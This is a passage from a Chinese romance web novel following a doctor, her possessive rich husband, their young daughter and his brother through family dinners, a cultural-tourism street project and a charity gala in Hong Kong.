“宝宝,看见了吧?我哥也是神经病。”
“那条街落成之后还是会送给你,为了警醒你,只能是我的。”
点醒了似的,梁尔璐及时回神,推拒林瀚睿倾身而来的拥抱,后退时胡乱踹人的足尖滑过他腿:“你哥比你好!”
“别在我面前提梁奕珩!想让我带你去女儿面前爱你?”
“是你先提的!我出于礼貌接话,错了吗?”
林瀚睿抑了些的眉眼渐松,见梁尔璐浑然不察对他做了什么好事却发犟脾气的模样,一时哭笑不得:“天热,我去洗澡,梁医生记得在门口守好了,注意我体位性低血压的发作。”
但即将站起的瞬间,愣是被她扯回:“等会儿,夏天身体出汗还热的时候不建议立刻洗澡,无论用热水还是冷水,我看你夏天喜欢洗冷水澡,这更不行啊,总之你等十分钟再去吧,用热水,当然也不能太烫,高温潮湿环境影响体位性低血压。”
基本提醒到位,梁尔璐才开始研究林瀚睿,好眼熟的表情,像他昨晚生病时的忍耐劲儿。
还挺无语的。
“太子爷真讲究……不就一点汗吗?十分钟很快的,你要听医生的话。”
作为私人医生,她继续给老板的嘴角上药。
可还没落第二下,就被神情不耐的林瀚睿攥住手腕,挪放开:“别碰我,不用了,离我远点。”
梁尔璐错愕,回味他泛冷的语气,极其委屈:“你没事吧?非让我上药的是你,现在甩我这种脸色的也是你,谁乐意伺候你!”
从客厅延向楼梯间的脚步声持续。
怀中碘伏气息刺鼻,林瀚睿捡起她扔向自己衣襟的棉签。
56.夏日
三楼。
房门始终没被敲响,梁尔璐停下徘徊的脚步,咬唇纠结着拨通电话。
“仪仪,如果有一个人,平时对你做错了什么就立刻道歉的那种,突然又犯错,但过了好几小时都不来找你道歉,会是为什么?”
钟敏绮疑惑哼出声鼻音:“是挺奇怪,这家伙知错吗?难道有苦衷?男的女的?感情淡了?工作再怎么忙也可以有时间道歉啊。”
“肯定知错,男的,没上班,让他对我淡感情,等于叫他去死,毫无可能。”梁尔璐丧些语气,她倒是也想林瀚睿放手。
“噢,你那个天杀的骗子前男友!别管他怎么样或为什么,直接杀了,骨灰扬了,不行,决不能脏了我宝贝的手,我来!银银,这种神经男现实里千万别沾,你真的也太倒霉,狗男人退退退!”
问题是她似乎挺招神经男的,且个个演技了得。
还是姐妹好,梁尔璐清嗓,声线郑重:“杀的时候绝对喊你。”
“收到,那我先去忙店里的事了,明天送你一个大惊喜。”
闺蜜挂断得利落,徒留她纳闷,发散思绪被倏响的敲门声扯回。
“夫人,吃饭了。”
管家而已。
什么啊……她还以为是林瀚睿道歉来了。
拖着不情愿的脚步到餐厅,梁尔璐不屑桌沿男人的背影,初看全黑却隐现墨蓝流光的家居服质感浓而不烈。
有空洗完了澡又精致捯饬,没时间道歉。
她挪开些女儿身旁的椅子落座,抬头之际便交汇林瀚睿软顺额发微拂的眼眸,一如既往寡淡得令人痒出探究心。
总归是难以分析其中的想法,梁尔璐只觉他生就一双自带情愫的桃花眼,是天意。
“妈咪,你和靓仔叔叔又吵架了?”
仅对视以外没说半个字,她惊讶女儿的感知力。
“对,双双真聪明,奖励你今天也不可以挑食。”
微笑面对女孩委屈巴巴的神情,梁尔璐冷冷转看林瀚睿:“都多久了?你为什么还不向我道歉?不是很喜欢和我道歉吗?”
“你确定想知道?现在?”
“确定,就是现在。”她同样琢磨不透他的话意,更费解男人坐来她身边,顺势倾身靠近的举动,下意识将放松的身体收成防备姿态,避开一些与他唇耳相触的几率。
“因为我怕你尴尬,你当时踹我,阴差阳错碰到我……”
梁尔璐僵得目瞪口呆,脸色火速通红:“对,对不起。”
“没关系,不痛。”
愣怔的视线缓过滞凝,梁尔璐因尴尬略皱脸,看清林瀚睿脸上毫无戏谑打趣的成分,寡薄眸瞳反倒蕴了些深。
“你还挺在意我道歉与否,放心,我没不在意你。”
“等等等等,真的停一下你这恋爱脑。”她压惊,迅速自我反省,确认无误,“我不在意你,纯属好奇,毕竟你几乎是天天和我道歉,突然没这样了,不奇怪吗?”
本身双方之间的距离与嗓音分贝就已足够暧昧,鬼灵精怪的女儿又近在咫尺。
“你别这么看我。”林瀚睿几丝呵到她脸容的呼吸发烫,梁尔璐丢回他下午说的半截原话,及时刹住后半句“怕羞”。
她小幅后退,五指撑去身后空出的椅面,仓促延向了边缘使劲抓扣,总算见男人直起微俯的身形,眉眼沾染些许颓态。
“凭你的演技,确实演不出这么真,果然只是好奇。”
梁尔璐撇嘴,递了理所应当的眼神:“那当然啊,你坐回去,离我远点。”
他却一捞对面的碗筷,安放身前:“不用,我手长。”
欲言又止,她干脆忿忿沉默。
那拿近做什么,直接靠长手吃呗?
气得肚子饿,梁尔璐捧起自己的碗筷,余光察觉女儿眨巴望来,小丫头整这副模样,总没好事要说。
“妈咪,我想爹地了。”
拒绝搭理,她因此忙着吃饭,鼓腮帮子停嚼:“想什么,你爹地不是在……”
匆匆意识到女儿指的是远在德国那假爹,她紧急改口:“你爹地回老家了,妈咪吃完饭帮你约约啊。”
“他没空。”
桌底,梁尔璐一拖鞋用力踩上林瀚睿的,警告他闭嘴。
让人没空的罪魁祸首……
“我也想干爹,每一个都想。”
她猜到了:“好,都帮你约,明天送你回家,要和小子书哥哥乖乖上课练字。”
确定女儿不会再说些别的话题敏感到男人,梁尔璐安心吃饭。
“妈咪,哥哥问我,为什么不是一横干爹教我们?”
出乎意料地遭汤水呛住,她捂嘴疯咳,随即感受着被林瀚睿斜侧揽抱入怀的臂力,背脊处轻落拍抚动作。
衣摆留下女儿揪抓的无措劲儿,梁尔璐回应声声“妈咪”:“没事,没……没事。”
林瀚睿低眸注视她难耐呛咳而扑簌睫羽的惶然样,稍掠目光,对女孩扬笑:“因为你干爹也没空。”
“靓仔叔叔知道的事情好多啊。”
“叔叔和你的爹地,干爹们都认识。”
梁尔璐缓不过喉咙生痒的堵涩,烦得发狠掐他腰窝。
狗东西不说话会死?
“那我为什么才刚刚认识靓仔叔叔?”
“我像你爹地,工作非常忙。”
听够一来一回,她绝望闭眼。
林瀚睿这做亲爹的,点她呢。
早知道以前就告诉女儿,亲爹死了,这样他会更生气,甚至没办法借题发挥,对孩子说出“我像你爹地,死了”的见鬼假话。
梁尔璐万分悔恨,咬牙离开男人碍眼的怀抱,闷声往嘴里塞白饭,与林瀚睿置气。
“双双,我是你干爹的弟弟,真的是你叔叔。”
陡然因这话咬到舌头,她疼得嘶声捂嘴。
关系乱套了啊!
她就想吃顿饭,请问招谁惹谁了……
忍无可忍,她必须自力更生地结束这一切:“双双,快吃饭,一横干爹今天晚上就会来接你回家的。”
受不了了,早点送走,省得给林瀚睿多一个发疯机会。
怎知童声转瞬疑惑:“妈咪刚才不是说还要先约过干爹吗?”
“他……因为……啊,他,他。”梁尔璐完全语塞,也深深陷入了沼淖般的疑惑。
小孩真烦,哪来这么多问题?
头疼间,身旁怕是已经看爽了戏的林瀚睿接茬,嗓音惹笑:“双双,你那个竹马哥哥是不是
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只要你找他,那他再忙也一定会到?”
“对啊,靓仔叔叔真的什么都知道!”
后知后觉男人打的坏主意,梁尔璐如吸凉气,试图掐断这对话的嘴皮子却更是迟钝,她唯独颤了眼瞳盯他。
清晰可见林瀚睿眸中浮过的恶劣意味:“你干爹对你妈咪也是这么好的,两个人从小一起长大,和你们完全一样。”
她抵实齿关,抿唇,蹙眉之际攥紧膝上的五指。
“一样!所以一横干爹小时候也总是说喜欢妈咪,长大要和妈咪结婚?”
眼看林瀚睿面色闪过明显讶异,随即难以置信地短促轻笑,俨然是副收获了意外之喜的模样。
此刻无辜凝她:“对,叔叔总听你干爹说起这些。”
梁尔璐收敛惊愕,拧了眉,不满瞪他。
胡说八道,梁奕珩肯定没提与结婚相关的,毕竟到如今也不争不抢,甚至不愿和她结婚,这点确实太奇怪。
餐厅光线充足,林瀚睿足以捕捉她并不挪开却逐渐放柔眼神的分秒,因此拢沉了眉。
凭什么哥哥能得到她这种温待。
察觉盯久了林瀚睿,梁尔璐局促收回视野,注意力被身后女儿戳弄手肘的动静吸引:“怎么了?双双。”
女孩容色失落:“妈咪,我喜欢小子书哥哥,但以后不想和他结婚。”
“没关系啊,你可以不和他结婚的。”轻揪孩子脸颊的软肉,她见女儿重焕笑意。
安抚完,梁尔璐转头瞥见林瀚睿侧颊黯然沉默的情态,恍然大悟之后咬唇忍笑。
求结婚但次次失败的男小三,演得挺像样啊。
还是饿,她坚持不懈地吃饭,而男人突然放下筷子的动作令她受吓耸肩,才看清他只是接听手机来电。
话声平淡:“在家。”
不知双方交涉什么,总归极为简短,林瀚睿挂断了就起身离开餐厅。
梁尔璐迷惑张望他留下的空碗,直至结束这顿饭也不见他身影,上楼找女儿之前,被脚步匆忙的管家叫住。
“夫人,是林先生的。”
“哦……”她愣愣接过轻薄快递,找了遍空无一人的卧室,在四楼的书房寻着。
走廊的灯虽是暖色,却灼灼盖过这满室昏昧,墙上零丁的嵌入式筒灯光线冷白,投落向林瀚睿此刻背对她,临窗而站的颀长身形。
梁尔璐自知着急闯入的动静不小,但他未有搭睬的迹象,唯独无声注视手间亮屏的平板。
往桌角放下快递,她关门轻了些。
随门缝变狭,屋外延伸入内的长条光路彻底消失,林瀚睿收回偏侧的视线,到桌边拆包裹。
文件末尾赫然一个“99.999%”。
他抬指松开DNA报告,垂眸拿起一旁的平板,眸光再次聚焦梁尔璐履历表内的“已婚”二字。
难怪梁卓熹对继父满口喊爹地,昨晚却又因认为他是爹地而惊喜。
趁手将报告单锁进保险箱,林瀚睿靠向窗沿,止步望看楼底。
女儿正亲昵环拢他哥的肩颈,算上与男人相谈甚欢的梁尔璐,像极了一家三口。
梁尔璐不承认他是孩子的亲生父亲,却也不同意他做干爹。
她分明就在意他,心里有他。
57.夏日
时间一晃,几周后。
工作签证办成,梁尔璐却被告知再过两天才能去研究所上班,她老老实实地继续跟林瀚睿身后做哑巴秘书。
这败家爷们非要送她的文旅街在深城,此刻携众人视察进程。
翁秘书那边挂了电话,报告他:“老板,工商局的人已经离开酒店,没问题。”
据说最近市场出现异常,该部门检查的频率与力度加强不少,没什么规律可循。
梁尔璐想起闺蜜之前声称“第二天送她的大惊喜”,便是让工商局在例行的企业走访期间,稍微重点照顾林家的酒店。
毕竟对方光是进行一个无关痛痒的普通查验,酒店上下的皮都得在一段时日内紧上几分。
“Hendrix,你别再惹到梁姐背后的女人,钟姐。”
谢柏延这话意有所指得明确,梁尔璐忍笑打量脸色丝毫不以为意的林瀚睿:“你别胡说八道,我们小老百姓可惹不起太子爷。”
感觉他这几周虽然改不掉拈酸呷醋的狗毛病,但整体安分多了,甚至百依百顺地配合她治疗。
具体原因不明,她也懒得问,病人有求生欲了最是好消息。
应是午休的点,街道周围暂停施工,好在风几乎没劲,空气中的粉尘无法肆意袭人,尽管如此,梁尔璐谨慎防着些林瀚睿因此发作哮喘。
她记得这是一条夜间文旅消费集聚区,主打中医药康养旅游品牌的夜市街区,符合大湾区文旅发展政策的要求,而近年来国内各地举办的流动式中医文化夜市能量辐射不小。
林家刚被工商部门盯过的两个酒店也属于康养类型,可谓是专业对口。
亦步亦趋的,她险些撞到停下脚步的林瀚睿。
男人抬了手中卷成圆筒状的设计图,指向稍远处一块空地:“那就是你提的建议。”
梁尔璐稍愣,彼时开玩笑说了个能演出不同民族传统乐器的古制建筑风格茶楼,类似买了livehouse二楼畅饮票的体验,适合当代年轻人的老年人体质。
她傻眼:“大哥,你还真采用啊……钱真多,赔了不关我事。”
“文旅夜市只有一种传统文化不严肃吗?懂不懂国风、二次元、自媒体网红和礼崩乐坏混在一起的含金量啊,老板,你多上网看点年轻人喜欢的吧。”
眼看林瀚睿平淡复述她当时的依据,梁尔璐哑口无言地捂耳朵。
却难敌谢柏延的嗓门:“梁姐,等以后你去弹着玩玩呗,会那么多乐器,当了医生一直没机会,钟姐总和我聊起你从小玩音乐的事,特别可惜。”
转头又见翁秘书加入:“我光是听也觉得可惜。”
她弱弱解释:“学得太多了,都只是半吊子而已。”
“是吗?你那些器乐老师说,有天赋,一点就通,带过最轻松的学生之一,没走职业可惜了。”
梁尔璐捋顺耳畔被开口戒指勾乱的发绺,怔怔注视林瀚睿眉眼沾笑的了然神态。
也对,他们四年前吵架那次,这狗东西问不出她会什么乐器,但最终仍然买来一大堆,确实有调查过的。
“梁姐,那我能点歌吗?去你家?”
佩服谢柏延上班也这么精神,她记起翁秘书说过今天没其余工作了:“也行,我女儿会很欢迎你们两个干爹的。”
翁秘书偷眼瞅望之前满口愿意喜当爹的老板,收回目光时就听林瀚睿稀松平常的语气。
“是你和谢柏延。”
“我?我!”他难以置信到目瞪口呆。
梁尔璐挑眉瞥了眼面色淡然的林瀚睿,挪开交汇视线:“我女儿看见帅的熟人就想认干爹,你逃不过的,干脆提前一点。”
翁秘书心惊胆战:“那为什么老板……”是哪里不帅不熟?
他无法理解,精准捕捉到梁小姐嫌弃地撇嘴。
“因为老板还不够帅。”
耳里全是谢柏延放肆的笑声,翁秘书尴尬强忍,他可是老板手底下正儿八经的打工人,不敢不敢。
梁尔璐抿唇,琢磨着还是给林瀚睿挽尊:“毕竟是我女儿的审美。”
反正懂的都懂……她反倒诧异男人竟然这么无所谓?真是难得不装喜当爹的小三。
文旅街距离她家算远,盛夏日灼,车内外存在温差,她想睡却时刻惦记着他吓唬人的哮喘。
困倦间,她凭肌肉记忆按楼层,出电梯穿过一道防火门,打开家门后转头之际,懵圈只见身后的林瀚睿。
“啊……人呢?”结束疑惑张望的劲儿,她想起谢柏延住楼下那层,死定了!
门都已经敞开,梁尔璐进退两难:“走吧,我爸妈这个时间不会在家的。”
“在也无所谓。”
她错愕,怔忡同时,目光与换完家居鞋而掀抬双眼的林瀚睿交汇。
浅淡对视了约莫两秒,她匆忙挪开眼,转身为他带路:“你可以先在客厅陪伏特加和荔枝玩会儿,我找找梁卓熹。”
两只毛发润泽的黑猫显然还记得他,林瀚睿蹲下揉抚两颗软茸脑袋,却蓦地听一声玻璃裂响,随之而来的惊呼与孩童哭喊相继。
他找到事发的房间,地板散落的碎片经阳光照射,流转尖刺般锋芒。
梁尔璐坐在床沿,替受惊流泪的女孩擦脸:“你看,靓仔叔叔来了。”
稍作轻哄,她和墙边的林瀚睿擦身:“睡觉被吓醒,你先帮我管住。”
林瀚睿下意识转头凝看女人离开卧室的背影。
玻璃仿佛是碎在他的胸口,令他心跳因疼痛而快得溃不成军。
思绪走远,幸亏余光瞥见心有余悸的女孩下床找妈妈的急迫模样,他当即跑去满堆碎玻璃附近的安全地带,抱起她安抚。
梁尔璐提工具回屋清理,无奈走向生疏的男人:“你看她这表情是觉得痛了,小孩不能这样抱的。”
“我看你上次不是会吗?原来是歪打正着,记住了。”手把手调整好姿势,她刮弄女儿鼻尖,抬视发愣的林瀚睿,“算了,梁卓熹总这样,虽然社牛,但真有该讲出口的话了偏不爱说,只照顾别人。”
“叔叔。”坏习惯受到批评,小女孩去环男人脖颈,埋下脸。
片刻就明媚:“妈咪,你们又吵架了?”
梁尔璐捡玻璃的动作骤停。
不至于……但他们这关系,没和好也算是一种吵架吧。
确保周围没遗落难以辨清的玻璃渣,她收拾了垃圾出卧室,身后脚步紧随。
“为什么你们都不回答双双说的话啊?”
她对上女儿微扭细眉的不满,挪眼瞪林瀚睿:“为什么为什么为什么,老问为什么。”
“怎么瞪我?”男人却整一副揣了明白装糊涂的样子,“你不爱问?都像。”
狗东西这会儿倒是不演小三了?
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她就不答。
梁卓熹再次来回瞅两人,而后,面色平静地望向窗外:“我想去楼上了。”
妈咪和叔叔忙吵架,全不理她,还是子书哥哥好。
但是他父亲开门,手拿一顶冒热气的锅盖,腿边扒拉个男孩,热情招呼屋外头的人:“丈母娘,卓熹妹妹……”
随即目光与声音都因只见过两面的男人停滞。
“帅吧?他是我干爹的弟弟,我的叔叔。”
男孩当即高声:“叔叔,妹妹的叔叔就是我的叔叔!”
梁尔璐不着痕迹地退半步,隐入光亮未涉及的一块区域。
是岳父来着……
她眼观鼻鼻观心地防范林瀚睿无声发疯,见男人放下怀里的女儿,柔声着轻抚发顶:“玩得开心。”
子书濯撤回望向小孩们牵手背影的视线,转身小幅度打量样貌登对的男女。
主要是礼貌微笑致意的男人。
压根不沾热度的锅盖莫名烫手,他努力忽视扑面而来的醋味与敌意,脑海中又突然闯入梁尔璐那位竹马的长相,这俩阴阳怪气的吓人家伙果然是一个德性。
即使他真喜欢梁尔璐,也会被儿子哭闹得有始无终,这完全没懂什么是爱情的臭小子坚决不同意丈母娘变成后妈。
收敛了情绪,他保持镇静:“我会照顾好两个孩子的。”
关门落锁舌的动静还没响,梁尔璐猝不及防被林瀚睿牵了手,半刻不停地带去电梯前,诧异出声之前,单侧脸颊遭他轻戳。
微凉,她受惊,后退间无措失稳,及时由他揽扣了腰身。
男人虽是立刻抽离这暧昧的触感,但并未离远,使得双方就了这微末距离,面对面相视沉默。
梁尔璐心生慌乱,但依旧不忘用正常的眨眼频率掩饰情绪,比起被过速心跳诱发而乱到糟糕透顶的呼吸,来得更容易控制。
林瀚睿稍勾唇角,落声吐字间同样附带灼热的笑意:“傻了?”
她倏地就忘记人类该怎么眨眼与呼吸了,但还会摇头。
细细回忆,梁尔璐确定他最近变得奇怪,可惜难以言喻。
似乎有当年跟他谈恋爱时的心动感觉?
没傻,是疯了,真想给自己几拳洗脑子。
“我还有事,晚点到小区门口接你。”
乱想一阵,她后知后觉发现林瀚睿已站远了些,眸色含笑,究不出真正意图似的。
怪里怪气的,梁尔璐躲去电梯角落,抬手控制距离:“我再也不吃你这一套了啊,绝对绝对不和你谈第二次恋爱!”
“没兴趣,我现在以结婚为目的,有的是办法让自己成功上位。”
上她的位?狗东西又开始演小三了啊……
她恨恨瞪看缓合的电梯门缝,得见男人无起伏的唇梢略扬。
“你别生气,毕竟凶我时也可爱。”
楼层持续下行着变换,梁尔璐深呼吸:“做梦吧,我现在以离婚为目的!”
回家直奔卧室,梁尔璐确认藏着的庚帖还在,折开红纸,注视他落墨上方的手写字迹。
婚书……可她只想离婚,苦于一直不敢跟他提,这人绝对不同意,准会气疯了。
躺床上放空半天,她渐沉的清醒劲儿被来电铃声整个拎起。
对面的男声率先喘了几口粗气,声线惹急:“夫人,林先生在人民医院!”
58.夏日
梁尔璐起初错赶到急诊部,临门一脚才记得太子爷那长年包下VIP病房的身价,上楼却被守在门口的保镖伸手拦回:“少爷没在,让您直接去车里等他。”
小样。
她使了个转身崴脚呼痛的丝滑连招,病房门瞬间由内敞开,男人疲态的眉眼弧度之间,着了重墨似地显出稠浓忧色。
经林瀚睿快步抱放去外间客厅的窗边沙发,梁尔璐踹向他将要轻抚脚踝的动作:“假的,你不是没在吗?又骗我,还骗我!”
这人倒好,没听见似地执拗,低头随意点按她骨关节,其实除了断续的冷痒,无关痛觉,而他脑后的部分发绺因此拂落,隐约露出些内里的白色。
没用纱布和网包扎固定,伤口显然不算严重。
她怀疑某种可能性:“你不会是找到了那个出租车司机,自己先过去了?我不是只让你找到人就够了吗?一点内情都不知道,你就敢单独行动?平时不是很聪明?笨得要命!”
“我一用有人找他的话题试探,他就警惕问了句‘女的吗’,甚至没等我回答,直接情绪应激地举着水果刀撵我出家,他儿子又背后偷袭,拿玻璃酒瓶砸我。”
“这样,你居然还想自己一个人去找他?”
梁尔璐没料到情况这么凶险,心虚避开林瀚睿微愠的眼神:“我就是不知道他当初发现了什么才特别慌张,你看,居然慌了十四年!好吓人,算了,我不差查这件事了,你脑震荡严重吗?缝针了?”
“一般,你这么担心我。”
“是谁给你勇气,不用问句的?”她不屑一顾男人淡然语气中的自信,“我还在庆幸你不是因为哮喘进医院呢,就不用被你爸请喝茶了,我听他说话,比理解你某些意思更像做题。”
“晚饭吃什么?”
梁尔璐顿时哑口无言,定睛琢磨会儿林瀚睿平静无波的表情,是真没懂他突转话题的意思。
她干脆乱答:“废话,你当然是吃病号餐啊,我好不容易给你补一点气血,又受伤流走了。”
“挺心疼,我。”
“那当然了。”话出口,她却怔看面部浮现笑意的林瀚睿,紧急收声,后悔嘴太快接了话,他才能逮着机会,顺势慢悠悠多说了一个意义明确的字。
梁尔璐赶忙挽回落于下风的局势:“医生心疼病人,正常。”
“晚上不回家吃饭。”
“喂……啊!吓死了!你是男鬼吗?”
架在他腿的脚踝骤然被男人泛凉指掌圈握住,林瀚睿弯唇添声:“宝宝,你别张口闭口全是和我的工作关系。”
他力道按得紧,梁尔璐实在踹不动分毫,但绝对咽不下这恶气:“那就婚外情关系,小三喜欢吗?”
“不喜欢,我带你看看小三该做的事。”
没兴趣再猜他葫芦里卖的什么药,她放空着思维,跟林瀚睿离开医院,大老远的车程停在林家位于港岛的集团总部酒店,
有了上次的经验,梁尔璐首先排除睡觉,果然见他将自己送进套房的主卧就关门走人。
而早已在屋里的女人毕恭毕敬对她:“请先洗漱,我们会在衣帽间等您。”
没让打工人多等,她也任由造型团队折腾一番,被簇拥着出了房间,满脑子回荡“高定”、“私人订制独一无二”、“全球限量”、“有钱也不一定排得上号买到”之类富贵话,以及“皮肤真好”、“五官上照”、“完美的自然卷”等夸夸。
全身上下堆满了钱,梁尔璐只觉重死,无语望向玄关那儿单手操作手机,换了身西装革履的林瀚睿。
周围还有群众,她收敛不情愿的神态,配合男人牵手。
酒店客房之间的走廊宽度大同小异,她提了些曳地的裙身:“没给我那种设计丑出天际的高定礼服,谢谢你。”
“你什么时候穿婚服?八月二十二?就这么决定,放着容易积灰。”
狗东西语出惊人,梁尔璐倏地转头,诧异捂嘴:“我都还没离婚,你什么时候准备了我二婚衣服的?”
眼瞳内熠熠的眸光倒足够真实,她第一次深刻感受到演小三戏码的过瘾,难怪林瀚睿乐此不疲。
就这么急?目前已经是八月初。
但他神色无异地摁电梯,继续自说自话着递出新话题:“你猜我哥这次是否会参加晚宴?”
“我可没在你面前提起他,是你自己!别对我发疯……”梁尔璐真怕了,偏偏身上某根反骨一动,“他要是又不来,我就夺命连环call他来,气炸你这坛醋缸!”
“我之前学你们年轻人多上网,了解到一个梗,叫play的一环。”
“这梗怎么了?”稍愣,她才回过味,暗暗深呼吸,心有余悸地沉默。
楼下宴厅的高门气派,旁侧竖支了海报,没听说过的瑧颐基金会慈善晚宴,头俩字与林家酒店同名。
虽说她想象了进场时万众瞩目的景况,但真实版的冲击力几乎能吓死社恐人,媒体记者疯按的闪光灯足够闪瞎。
难以招架他们的工作积极,梁尔璐垂眼躲避灼亮:“狗东西,你这次真的过分了,太过分了!”
视线下挪,因此落在双方的十指相扣。
通常这种场合都是平淡挽手的吧……
省得被记者逮到什么可乘之机,她注视前方,余光遥遥望见人群中长身玉立的梁奕珩,却顿时察觉林瀚睿牵紧了好一些。
劲道硌得略疼,令她下意识抬视他,侧颊坦然,清净得好似手并非受脑袋趋势。
天杀的狗东西。
林家显然处于整个宴厅C位,梁尔璐随他止步众人对面,准确来说是为首的她公公身前。
上一辈的两房儿媳妇确实人人佩戴款式不同的翡翠项链,如同作为晚辈的她,但林瀚睿丧母,那她颈间的无疑就是……
随他称呼父亲的嗓音,她硬着头皮:“您好。”
男人笑意儒雅,周围持续朝她投来礼貌注视的一干人等,绝对是港岛其它几户豪门,毕竟梁奕珩与炎端盈站在一起。
梁尔璐照样像刚才入场时,愣怔瞅望神态平和的他。
好兄弟这是要被迫嫁入豪门了?果真难兄难弟。
她正感慨,五指间空落落的感觉袭来,便蓦地转头疑惑林瀚睿这无征兆举动,却因他大庭广众之下俯身亲昵耳语,陷入失措的错愕。
“看他不看我?第二次了。”
耳旁相机快门声迅疾频起,她不着痕迹地抿唇,欲哭无泪,拼命忽视脑海中男人冷调的笑嗓。
瞎拍什么啊,根本就不是令她脸红心跳的情形。
幸亏林瀚睿走向高台,一副致辞的架势,周边人群也由此聚拢。
梁尔璐单侧胳膊被绕来的林莉妍挽住,便听这妹妹声声娇甜“姐姐”,随即被站她身旁的盛言顾调侃学人精。
左右护法似的,炎端盈靠近她:“我待你边上,把梁奕珩隔开,省得你被林垃圾酸死,Rosalind都告诉我了,占有欲这么强的男人可不兴谈。”
“谢谢。”其实她已经被酸死了,“这是什么活动?”
“针对全国罕见基因病患者家庭的慈善晚宴,主办方是瑧颐基金会,林垃圾四年前创办的,至于我们剩下的几大豪门是联合举办,深城跟港岛的文联是拍卖赞助商,提供一些书画、摄影、民间非遗文艺作品,晚会所有善款都会由林家的腾先基金会处理,去帮抗罕家庭。”
“Aria姐姐,再官腔一点就是慈善晚宴也促进大湾区和海外的艺术交流,所以我家这个一年一度的活动名声排场都足够大,参加的不只是豪门和政府人士,也有很多内地、港岛的明星艺人,一些海外各行各界名流。”
林莉研突然想到关键:“Hendrix以前接受采访,说是因为一个人,他才亲眼认识到患罕孩子和抗罕家庭的不易。Aria姐姐,就是你吧!”
“嗯。”说实话,梁尔璐并不意外他这玩泥巴的土气善举。
“先不论你哥这事做得正能量,反正够老土的,又是这种不食人间烟火的大少爷受到爱人触动,顺手去办个基金会造福社会的例子,他小说看多了吧。”
“我四年里也总这样说他的,真是土死了,我的好哥哥。”
惊讶两人同出一辙的吐槽,她愣是没忍住笑:“巧了,我刚才也这么想。”
不过这是她在林家太子爷绯闻女友身份曝光后,人生第一次参与这类重量级的名利场,但凡想到便愁得难以再笑。
导致她脑袋放空,目光虽注视台上专业致辞的林瀚睿,但没听清半个字眼,直到被阵阵掌声惊醒。
梁尔璐加入其中,使劲捧场,狗腿子似地与他迎面相笑:“你讲得真棒,可以吃饭了吗?我好饿。”
得男人点头,她打算自顾自开溜去甜品桌,转身之际却遭靠近的几张熟悉脸吓退,哪怕已由林瀚睿拦腰扶稳,仍然局促抓了他胳膊。
是读研时那些和她玩告白游戏的太子爷,尤其曾经利用她室友平板打来视频电话的某嘴贱人,此刻正嘲讽勾唇,意味深长地打量来。
众人无非打趣林瀚睿当年分明是经管学院唯一没向她告白的男学生,如今却谈上了,笑侃着讨杯喜酒喝。
林瀚睿涵养到位,但也算疏离地结束这小插曲。
梁尔璐实在饿,更没力气甩开他重新牵牢的手,反而贴近了挽他:“人家想要你给我拿吃的哦。”
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而他看破也点破的轻笑惹人悻悻,她清嗓,强行忍耐夹子音的恶心,只有这样,端餐盘且夹蛋糕的林瀚睿才没空牵手。
短暂没听见梁尔璐指挥爱吃哪个的动静,林瀚睿抬眸,微拢眉宇,凝她张望周边的模样:“想知道你老公在哪?我说过了,他没空。”
“嗯?”梁尔璐回神,寻思他这演小三的戏瘾没救了,煞有介事的,“不是……我的眼睛就是尺,有些明星不上镜,线下看真人更绝。”
“请了你喜欢的,可以跟他们合影。”
她戳动林瀚睿手肘,示意他一起看向某个方位的男人:“我社恐,已经看过瘾了,好帅啊,越老越有味道,我要把他的电视剧再看几遍,童年回忆你懂吧。”
“我要是富婆,就请这些叔圈的进同一个古装剧组拍戏……开玩笑的,你别当真!”她及时闭嘴,唯恐林瀚睿真为她付诸实际。
“抱歉,我需要先去应酬。”
梁尔璐偏头接稳餐盘,纳闷他莫名其妙的客气态度:“哦,那你快去。”
也对,别和她同框,真受不了记者生吞活剥似的目光。
*
梁奕珩收回掠远的视线,礼貌笑应炎家父母:“我会向师父转达二位的心意。”
炎端盈挑眉,抓到他思绪再次飘向别处的样子,出声解围:“爹地妈咪,梁大师还没吃饭呢,我们好歹也算是几分之一的东道主。”
两夫妻走远些,她望去满场赶着搜罗甜品的梁尔璐:“我爸让人威胁你发小分手的事,对不起。”
“没必要,不关你事。”碍于曳地长裙而缓慢走来的身形愈发靠近,梁奕珩后知后觉对女人的态度敷衍冷漠了些,“抱歉。”
“也没必要,陷入爱情的男人,正常。”
梁尔璐调整裙摆位置,向他们稍举高满当的餐盘:“珩仔,大小姐,吃吗?”
“吃,你看林垃圾还真忙。”
“懒得管他。”她循视线发现周旋交际的林瀚睿,收回眼神,“珩仔,是我拿的蛋糕难吃?你笑笑呗?从我进来到现在,你还没对我笑过。”
意见提了,却仍不见男人缓和脸容,弧度显得淡然:“我不是不敢在这种场合对你亲近,主要怕那些记者乱写稿子,烦到你。”
“你真是个好人……看看林垃圾多疯,这种级别的场合,带一个还没正规名分的绯闻女伴出席,根本不管记者怎么编,总之Aria你趁早跑。”
梁尔璐点头,确信炎大小姐是个可爱吐槽役,偏生五官清冷。
其实已婚四年了,名正言顺。
但这内情无论如何都不能透露给外界,万一林瀚睿在守孝期内结婚的大逆不道行径曝光,可想而知受到舆论四面八方的口诛笔伐程度将有多严重。
他饶是再疯也绝不可能捅出这件事。
“哦,朋友在喊我过去,回见。”
“拜拜。”稍加目送女人离开的身影,梁尔璐琢磨梁奕珩微皱的眉眼,“这蛋糕真的难吃?”
男人却拦她下叉子的动作:“用了酸奶油,不符合你的口味,我会全吃掉。”
“怎么这样……我看它长得漂亮还多拿了。”发愁目光从盘子挪开,她瞥见径直而来的盛言顾。
“姐姐有烦心事?”
清楚梁奕珩照样吃不来任何酸口,她赶紧招呼:“你试试这个,能吃就帮珩仔分担。”
男人闻言拿过一块,入口当即痛苦了表情:“这……梁先生倒是会吃酸,其实我也会,姐姐,如果你们没在一起,你选Hendrix还是我?”
送分题似的,梁尔璐无奈即答:“你也知道他为什么装穷骗我,谁都别来沾边。”
“同样是顶级豪门太子爷,你看他占有欲太强,我足够听话,独生子,父母祖辈开明。”
“是吗?尔妹,相比之下我最适合,但你不用考虑我。”
“姐姐别误会了,也没必要考虑我,毕竟我不像Hendrix那样强求你。”
聒噪,男人真烦。
“吃的都堵不住你们嘴。”梁尔璐冷静吃掉甜品叉上的最后一口,“这盘给你们了,爱吃酸就多吃。”
气势却在转身刹那全数消散,怔忡与缓步离近的林瀚睿对视,宴厅周遭的浮华璨光恍惚扎眼。
她横竖也没做错什么,可仍落得个哑口无言的境地,直直交汇他充斥了瓷实静默的眼风。
愣神之际,身后俩男人几乎是同时挡来她身前,进而将林瀚睿堵停在不远处,双双拈一腔阴阳怪气的笑意。
“弟弟,来吃些酸的,你最爱的酸。”
